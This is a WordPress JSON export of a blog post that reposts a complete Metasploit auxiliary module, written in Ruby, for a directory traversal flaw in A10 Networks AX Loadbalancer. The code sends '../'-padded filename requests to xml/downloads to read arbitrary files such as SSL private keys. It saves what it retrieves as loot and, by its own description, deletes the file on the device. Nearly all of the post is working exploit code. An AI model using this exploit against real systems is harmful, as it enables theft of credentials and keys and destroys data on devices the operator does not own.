{"id":59381,"date":"2024-09-01T23:40:31","date_gmt":"2024-09-01T20:40:31","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181208\/a10networks_ax_directory_traversal.rb.txt"},"modified":"2024-09-01T23:40:31","modified_gmt":"2024-09-01T20:40:31","slug":"a10-networks-ax-loadbalancer-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/a10-networks-ax-loadbalancer-directory-traversal\/","title":{"rendered":"A10 Networks AX Loadbalancer Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;A10 Networks AX Loadbalancer Directory Traversal&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a directory traversal flaw found in A10 Networks<br \/>(Soft) AX Loadbalancer version 2.6.1-GR1-P5\/2.7.0 or less. When<br \/>handling a file download request, the xml\/downloads class fails to<br \/>properly check the &#8216;filename&#8217; parameter, which can be abused to read<br \/>any file outside the virtual directory. Important files include SSL<br \/>certificates. This module works on both the hardware devices and the<br \/>Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the<br \/>file on the device after downloading it. Because of this, the CONFIRM_DELETE<br \/>option must be set to &#8216;true&#8217; either manually or by script.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;OSVDB&#8217;, &#8216;102657&#8217;],<br \/>[&#8216;BID&#8217;, &#8216;65206&#8217;],<br \/>[&#8216;EDB&#8217;, &#8216;31261&#8217;]],<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;xistence&#8217; # Vulnerability discovery and Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2014-01-28&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI path to the web application&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;FILE&#8217;, [true, &#8216;The file to obtain&#8217;, &#8216;\/a10data\/key\/mydomain.tld&#8217;]),<br \/>OptInt.new(&#8216;DEPTH&#8217;, [true, &#8216;The max traversal depth to root directory&#8217;, 10]),<br \/>OptBool.new(&#8216;CONFIRM_DELETE&#8217;, [true, &#8216;Run the module, even when it will delete files&#8217;, false]),<br \/>])<br \/>end<\/p>\n<p>def run<br \/>unless datastore[&#8216;CONFIRM_DELETE&#8217;]print_error(&#8220;This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.&#8221;)<br \/>return<br \/>end<\/p>\n<p>super<br \/>end<\/p>\n<p>def run_host(ip)<br \/>peer = &#8220;#{ip}:#{rport}&#8221;<br \/>fname = datastore[&#8216;FILE&#8217;]\n<p>print_status(&#8220;Reading &#8216;#{datastore[&#8216;FILE&#8217;]}'&#8221;)<br \/>traverse = &#8220;..\/&#8221; * datastore[&#8216;DEPTH&#8217;]res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;xml&#8221;, &#8220;downloads&#8221;, &#8220;&#8221;),<br \/>&#8216;vars_get&#8217; =&gt;<br \/>{<br \/>&#8216;filename&#8217; =&gt; &#8220;\/a10data\/tmp\/#{traverse}#{datastore[&#8216;FILE&#8217;]}&#8221;<br \/>}<br \/>})<\/p>\n<p>if res and res.code == 500 and res.body =~ \/Error report\/<br \/>vprint_error(&#8220;Cannot obtain &#8216;#{fname}&#8217;, here are some possible reasons:&#8221;)<br \/>vprint_error(&#8220;\\t1. File does not exist.&#8221;)<br \/>vprint_error(&#8220;\\t2. The server does not have any patches deployed.&#8221;)<br \/>vprint_error(&#8220;\\t3. Your &#8216;DEPTH&#8217; option isn&#8217;t deep enough.&#8221;)<br \/>vprint_error(&#8220;\\t4. Some kind of permission issues.&#8221;)<br \/>elsif res and res.code == 200<br \/>data = res.body<br \/>p = store_loot(<br \/>&#8216;a10networks.ax&#8217;,<br \/>&#8216;application\/octet-stream&#8217;,<br \/>ip,<br \/>data,<br \/>fname<br \/>)<br \/>vprint_line(data)<br \/>print_good(&#8220;#{fname} stored as &#8216;#{p}'&#8221;)<br \/>elsif res and res.code == 404 and res.body.to_s =~ \/The requested URL.*was not found\/<br \/>vprint_error(&#8220;File not found. Check FILE.&#8221;)<br \/>else<br \/>vprint_error(&#8220;Fail to obtain file for some unknown reason&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;A10 Networks AX Loadbalancer Directory Traversal&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a directory traversal flaw found in A10 Networks(Soft) AX Loadbalancer version 2.6.1-GR1-P5\/2.7.0 or less. Whenhandling a file download request, the xml\/downloads class fails toproperly &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59381","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59381","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59381"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59381\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59381"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59381"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59381"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}